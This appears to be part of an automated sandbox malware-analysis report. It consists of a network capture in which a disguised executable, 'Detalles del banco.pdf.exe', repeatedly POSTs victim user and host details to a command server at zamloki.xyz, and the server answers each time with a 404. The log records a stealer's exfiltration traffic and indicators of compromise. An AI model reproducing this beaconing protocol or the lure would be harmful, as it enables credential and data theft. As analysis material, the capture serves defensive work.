Jul 27, 2021 22:08:13.618849039 CEST	7047	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kuWmVFbhM5F2K86IF1uweh4f59yhKtA73NxZtQ2uF5FJYytyJwkrCPS667TWcgxmd71Q7U8f2ezIOOe5PEvx4oWj%2B7OUNVjRSl5WGyP6Fkf8YygVasdRKZuW09Fg7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f9b6cfe2c3a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	49831	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:13.981255054 CEST	7048	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:14.013279915 CEST	7048	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:14.260425091 CEST	7049	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VcCTbHCV3E1UoNam9Y1aZqbt9UyolR5qsxTJp4Fh%2Fs8flwLAf5Oq4GTASG1LVlx71xSLOufeSk6IFktkxW01K5eMD%2FIWwponvMGvs1JZjCNwBGH58tYSlrcOJW5Ykw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587f9f79f51766-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	49832	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:14.567964077 CEST	7050	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:14.593688965 CEST	7050	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:14.833781958 CEST	7050	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:15.093683004 CEST	7051	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jEvwvcpFBcBwS4zBcJLTJTUC8bsMnvCI%2B5%2FBeMztA2M1wtvrnMBw%2BHY0b43iBKjN633x4v7s3CEw3U3jY8iTRhZuWh%2Bkp4vZqJ7YwPjzZIKeUkoJ2ayRdP%2FF6ut2VA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fa31ecb074a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	49833	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:16.487615108 CEST	7052	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:16.526547909 CEST	7052	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:16.779263020 CEST	7053	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fRTaUkfd2bY7VcILhxL7ELTIEJmDm9xSfifuFvZfDZkQxuBl7RbM%2BJQ8I31jcRhUkN6TV%2FWDBYmpfjoFrwXL1VFAENOXoxKd%2F%2FQ24FvgzE%2BkeNnic04RxGpksYnzeA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587faf182c4abd-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49736	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:23.484513044 CEST	1500	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:23.514834881 CEST	1500	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:23.769156933 CEST	1510	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7Xyew3tEoib9pYsVnMQgDHbPZe9R%2FdsZ%2Ft7oApzYmp0dIXS6SGpAYdPhekzmwOYsMEcKGKRNDHO351EDMzIpqDYw99Ui8HH16f0vuTxAw%2BCJ3Ri2DqfvATT5I%2BbLwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e63dc064ac2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	49834	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:18.515836000 CEST	7054	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:18.545011044 CEST	7054	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:18.835906982 CEST	7055	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WBj%2F6aaaGKNecMnorUCG1VjuBFBQstGV5mjoXPQVXurwoKOrycXXdaNpJDo6EB8C9IQNykakz2D5dhDWSoWq9kD9Ocr%2BxsKUPzj6AmeK3DriS6qzsHUJ1hdJcVLUUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fbbcebd0746-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	49835	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:19.139353037 CEST	7056	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:19.167495012 CEST	7056	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:19.412635088 CEST	7057	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tTnOwMeHGGqMLBpxOJxALenEulNkZ%2BDtNB5Y8HR5OcE9ZaSjVl%2BlRX552Cs%2F7l0VdlIyEUi8nR3ZAlABnrIsFgAOl3uxqQ7sJJGJEKaUAD4HGEE5atROfBVA3ZUEtg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fbfbbeb4e56-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	49836	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:19.677778959 CEST	7057	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:19.708358049 CEST	7058	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:19.988333941 CEST	7058	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uetiCS7d02w%2BeH5FHkWJfqFNGLwJ%2Fy6DlpXMvF9Gj8nglPB%2Fa6s2gRX2QK3JnRRLBHPIabyxKCo5O7PCYdp4u6YlNnFW6Fm6SaldQKKgrUPKR3cJ1VFhORi%2FrgqG0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fc308b397de-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	49837	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:20.244425058 CEST	7059	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:20.274904966 CEST	7060	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:20.536278963 CEST	7060	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5YRVixSK5QutmwJkhg7OPEexWcseVPuzzd0Mt2yWZBrlJb%2BgfkLXID6KbVjVgKEed9%2BBh78ThjSkDdqU%2B8mPdH%2FTrVMgKesxJMWEUBcWIguKQj1W6CTyT%2Fwu1G%2BjVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fc698974a7a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	49838	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:20.817681074 CEST	7061	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:20.843219995 CEST	7062	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:21.102952957 CEST	7062	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=n9miZhHzt49pEOmAVt8smRI%2FZ4yaDGVzRzdBvLvFmOyEgIdW59NxzogPOd%2By0KiBsvvX%2Fc2Puo8xguzKUKo%2BT44N%2Bb52AlG3GrO32hLl%2BGiWrszcOfr0HBscVcqAsg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fca289e0605-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	49839	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:21.356276989 CEST	7063	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:21.385663033 CEST	7063	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:21.647459984 CEST	7064	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xTodQn7IyfUNaLffdX213yNqDTaH5kUYj6rudAW4zhXXFWcRe%2BrDpvXgrEGMvNhdcjI5cwGu0bivSKAbTvhmH1uSXv7vTrPSsUXIk7WICHtxOwCpMDT%2FhHnbmAGBQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fcd88a54dbe-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	49840	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:21.950442076 CEST	7065	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:21.978293896 CEST	7065	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:22.238873005 CEST	7066	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6QsoNaFLAkWVT3LnLBnATHAMsZn1hObtVzzhwrhd5fhjaDvi2mXOuSRfmPVy5fwv8%2BTzC8bcgWGVkDVrjclJVEP8%2Bumhh8fNBii7tbgs7xCOWbKHuU0UJcvvykTvcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fd14e844a8c-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	49841	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:22.496306896 CEST	7067	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:22.524420977 CEST	7067	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:22.813602924 CEST	7068	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=twMF13T5yzHE%2BTZLfIctQ4p2c%2FLJS9ueGJn7RdAwfnImQqYUXgRli%2FrGNicjBwLkGUcMomUKiPoNPKmpm6tMdUE%2Bieg8V5OKz5iZmB3GSAkWwpTYzF2qrt%2Bb6YMG4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fd4aa5a3248-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	49842	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:23.070749998 CEST	7069	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:23.100213051 CEST	7069	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:23.353401899 CEST	7070	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=y4t0QWiG0V03XMK1nMrUHnFLwmWkXjHYf97%2BhVOuPHjJQjM8hsSuv66bE7qTtGbDr7xW%2Baux0e31y3lAeL1r9tzRrHE%2B6S43zaB1qlwtS%2FlgBvF9Fbu16ldhIG49tw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fd84db705cc-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	49843	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:23.617376089 CEST	7071	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:23.643460035 CEST	7071	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:23.901638031 CEST	7072	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CQqHeF0ShRZmZEhb3ounPTrTzmRwTwO1ApDFr%2FN%2Fw3X73W1PmWEA25EIJt3gZjr1Aw2MuBy9v8fdrtE4U3aPdQRKSPXwnWM92SXOUYa5GFeeE0YKCSkPRxh7e6XALA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fdbae3e4eb6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Code Manipulations

Statistics

CPU Usage

Click to jump to process

